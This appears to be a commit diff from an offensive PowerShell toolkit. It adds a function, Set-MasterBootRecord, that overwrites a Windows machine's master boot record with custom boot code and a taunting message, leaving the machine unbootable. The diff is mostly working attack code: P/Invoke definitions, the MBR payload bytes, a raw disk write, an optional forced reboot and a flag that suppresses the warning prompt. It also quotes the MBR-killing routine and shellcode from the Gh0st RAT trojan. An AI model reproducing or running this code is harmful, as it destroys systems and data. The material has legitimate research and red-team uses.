|
1 |
| -function Set-CriticalProcess |
| 1 | +function Set-MasterBootRecord |
| 2 | +{ |
| 3 | +<# |
| 4 | +.SYNOPSIS |
| 5 | +
|
| 6 | + Proof of concept code that overwrites the master boot record with the |
| 7 | + message of your choice. |
| 8 | +
|
| 9 | + PowerSploit Function: Set-MasterBootRecord |
| 10 | + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) |
| 11 | + License: BSD 3-Clause |
| 12 | + Required Dependencies: None |
| 13 | + Optional Dependencies: None |
| 14 | + |
| 15 | +.DESCRIPTION |
| 16 | +
|
| 17 | + Set-MasterBootRecord is proof of concept code designed to show that it is |
| 18 | + possible with PowerShell to overwrite the MBR. This technique was taken |
| 19 | + from a public malware sample. This script is inteded solely as proof of |
| 20 | + concept code. |
| 21 | +
|
| 22 | +.PARAMETER BootMessage |
| 23 | +
|
| 24 | + Specifies the message that will be displayed upon making your computer a brick. |
| 25 | +
|
| 26 | +.PARAMETER RebootImmediately |
| 27 | +
|
| 28 | + Reboot the machine immediately upon overwriting the MBR. |
| 29 | +
|
| 30 | +.PARAMETER Force |
| 31 | +
|
| 32 | + Suppress the warning prompt. |
| 33 | +
|
| 34 | +.EXAMPLE |
| 35 | +
|
| 36 | + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' |
| 37 | +
|
| 38 | +.NOTES |
| 39 | +
|
| 40 | + Obviously, this will only work if you have a master boot record to |
| 41 | + overwrite. This won't work if you have a GPT (GUID partition table) |
| 42 | +#> |
| 43 | + |
| 44 | +<# |
| 45 | +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): |
| 46 | +
|
| 47 | +// CGh0stApp message handlers |
| 48 | + |
| 49 | +unsigned char scode[] = |
| 50 | +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" |
| 51 | +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" |
| 52 | +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; |
| 53 | + |
| 54 | +int CGh0stApp::KillMBR() |
| 55 | +{ |
| 56 | + HANDLE hDevice; |
| 57 | + DWORD dwBytesWritten, dwBytesReturned; |
| 58 | + BYTE pMBR[512] = {0}; |
| 59 | + |
| 60 | + // 重新构造MBR |
| 61 | + memcpy(pMBR, scode, sizeof(scode) - 1); |
| 62 | + pMBR[510] = 0x55; |
| 63 | + pMBR[511] = 0xAA; |
| 64 | + |
| 65 | + hDevice = CreateFile |
| 66 | + ( |
| 67 | + "\\\\.\\PHYSICALDRIVE0", |
| 68 | + GENERIC_READ | GENERIC_WRITE, |
| 69 | + FILE_SHARE_READ | FILE_SHARE_WRITE, |
| 70 | + NULL, |
| 71 | + OPEN_EXISTING, |
| 72 | + 0, |
| 73 | + NULL |
| 74 | + ); |
| 75 | + if (hDevice == INVALID_HANDLE_VALUE) |
| 76 | + return -1; |
| 77 | + DeviceIoControl |
| 78 | + ( |
| 79 | + hDevice, |
| 80 | + FSCTL_LOCK_VOLUME, |
| 81 | + NULL, |
| 82 | + 0, |
| 83 | + NULL, |
| 84 | + 0, |
| 85 | + &dwBytesReturned, |
| 86 | + NULL |
| 87 | + ); |
| 88 | + // 写入病毒内容 |
| 89 | + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); |
| 90 | + DeviceIoControl |
| 91 | + ( |
| 92 | + hDevice, |
| 93 | + FSCTL_UNLOCK_VOLUME, |
| 94 | + NULL, |
| 95 | + 0, |
| 96 | + NULL, |
| 97 | + 0, |
| 98 | + &dwBytesReturned, |
| 99 | + NULL |
| 100 | + ); |
| 101 | + CloseHandle(hDevice); |
| 102 | + |
| 103 | + ExitProcess(-1); |
| 104 | + return 0; |
| 105 | +} |
| 106 | +#> |
| 107 | + |
| 108 | + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( |
| 109 | + [ValidateLength(1, 479)] |
| 110 | + [String] |
| 111 | + $BootMessage = 'Stop-Crying; Get-NewHardDrive', |
| 112 | + |
| 113 | + [Switch] |
| 114 | + $RebootImmediately, |
| 115 | + |
| 116 | + [Switch] |
| 117 | + $Force |
| 118 | + ) |
| 119 | + |
| 120 | + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) |
| 121 | + { |
| 122 | + throw 'This script must be executed from an elevated command prompt.' |
| 123 | + } |
| 124 | + |
| 125 | + if (!$Force) |
| 126 | + { |
| 127 | + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) |
| 128 | + { |
| 129 | + return |
| 130 | + } |
| 131 | + } |
| 132 | + |
| 133 | + #region define P/Invoke types dynamically |
| 134 | + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') |
| 135 | + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) |
| 136 | + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) |
| 137 | + |
| 138 | + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') |
| 139 | + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) |
| 140 | + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') |
| 141 | + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, |
| 142 | + @('kernel32.dll'), |
| 143 | + [Reflection.FieldInfo[]]@($SetLastError), |
| 144 | + @($True)) |
| 145 | + |
| 146 | + # Define [Win32.Kernel32]::DeviceIoControl |
| 147 | + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', |
| 148 | + 'kernel32.dll', |
| 149 | + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), |
| 150 | + [Reflection.CallingConventions]::Standard, |
| 151 | + [Bool], |
| 152 | + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), |
| 153 | + [Runtime.InteropServices.CallingConvention]::Winapi, |
| 154 | + [Runtime.InteropServices.CharSet]::Auto) |
| 155 | + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) |
| 156 | + |
| 157 | + # Define [Win32.Kernel32]::CreateFile |
| 158 | + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', |
| 159 | + 'kernel32.dll', |
| 160 | + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), |
| 161 | + [Reflection.CallingConventions]::Standard, |
| 162 | + [IntPtr], |
| 163 | + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), |
| 164 | + [Runtime.InteropServices.CallingConvention]::Winapi, |
| 165 | + [Runtime.InteropServices.CharSet]::Ansi) |
| 166 | + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) |
| 167 | + |
| 168 | + # Define [Win32.Kernel32]::WriteFile |
| 169 | + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', |
| 170 | + 'kernel32.dll', |
| 171 | + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), |
| 172 | + [Reflection.CallingConventions]::Standard, |
| 173 | + [Bool], |
| 174 | + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), |
| 175 | + [Runtime.InteropServices.CallingConvention]::Winapi, |
| 176 | + [Runtime.InteropServices.CharSet]::Ansi) |
| 177 | + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) |
| 178 | + |
| 179 | + # Define [Win32.Kernel32]::CloseHandle |
| 180 | + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', |
| 181 | + 'kernel32.dll', |
| 182 | + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), |
| 183 | + [Reflection.CallingConventions]::Standard, |
| 184 | + [Bool], |
| 185 | + [Type[]]@([IntPtr]), |
| 186 | + [Runtime.InteropServices.CallingConvention]::Winapi, |
| 187 | + [Runtime.InteropServices.CharSet]::Auto) |
| 188 | + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) |
| 189 | + |
| 190 | + $Kernel32 = $TypeBuilder.CreateType() |
| 191 | + #endregion |
| 192 | + |
| 193 | + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) |
| 194 | + # Convert the boot message to a byte array |
| 195 | + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) |
| 196 | + |
| 197 | + [Byte[]] $MBRInfectionCode = @( |
| 198 | + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA |
| 199 | + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode |
| 200 | + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color |
| 201 | + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue |
| 202 | + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color |
| 203 | + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 |
| 204 | + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length |
| 205 | + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters |
| 206 | + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White |
| 207 | + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 |
| 208 | + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string |
| 209 | + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer |
| 210 | + ) + $MessageBytes |
| 211 | + |
| 212 | + $MBRSize = [UInt32] 512 |
| 213 | + |
| 214 | + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) |
| 215 | + { |
| 216 | + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." |
| 217 | + } |
| 218 | + |
| 219 | + # Allocate 512 bytes for the MBR |
| 220 | + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) |
| 221 | + |
| 222 | + # Zero-initialize the allocated unmanaged memory |
| 223 | + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } |
| 224 | + |
| 225 | + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) |
| 226 | + |
| 227 | + # Write boot record signature to the end of the MBR |
| 228 | + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) |
| 229 | + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) |
| 230 | + |
| 231 | + # Get the device ID of the boot disk |
| 232 | + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID |
| 233 | + |
| 234 | + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 |
| 235 | + $FILE_SHARE_READWRITE = 2 -bor 1 |
| 236 | + $OPEN_EXISTING = 3 |
| 237 | + |
| 238 | + # Obtain a read handle to the raw disk |
| 239 | + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) |
| 240 | + |
| 241 | + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) |
| 242 | + { |
| 243 | + throw "Unable to obtain read/write handle to $DeviceID" |
| 244 | + } |
| 245 | + |
| 246 | + $BytesReturned = [UInt32] 0 |
| 247 | + $BytesWritten = [UInt32] 0 |
| 248 | + $FSCTL_LOCK_VOLUME = 0x00090018 |
| 249 | + $FSCTL_UNLOCK_VOLUME = 0x0009001C |
| 250 | + |
| 251 | + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) |
| 252 | + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) |
| 253 | + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) |
| 254 | + $null = $Kernel32::CloseHandle($DriveHandle) |
| 255 | + |
| 256 | + Start-Sleep -Seconds 2 |
| 257 | + |
| 258 | + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) |
| 259 | + |
| 260 | + Write-Verbose 'Master boot record overwritten successfully.' |
| 261 | + |
| 262 | + if ($RebootImmediately) |
| 263 | + { |
| 264 | + Restart-Computer -Force |
| 265 | + } |
| 266 | +} |
| 267 | + |
| 268 | +function Set-CriticalProcess |
2 | 269 | {
|
3 | 270 | <#
|
4 | 271 | .SYNOPSIS
|
|
0 commit comments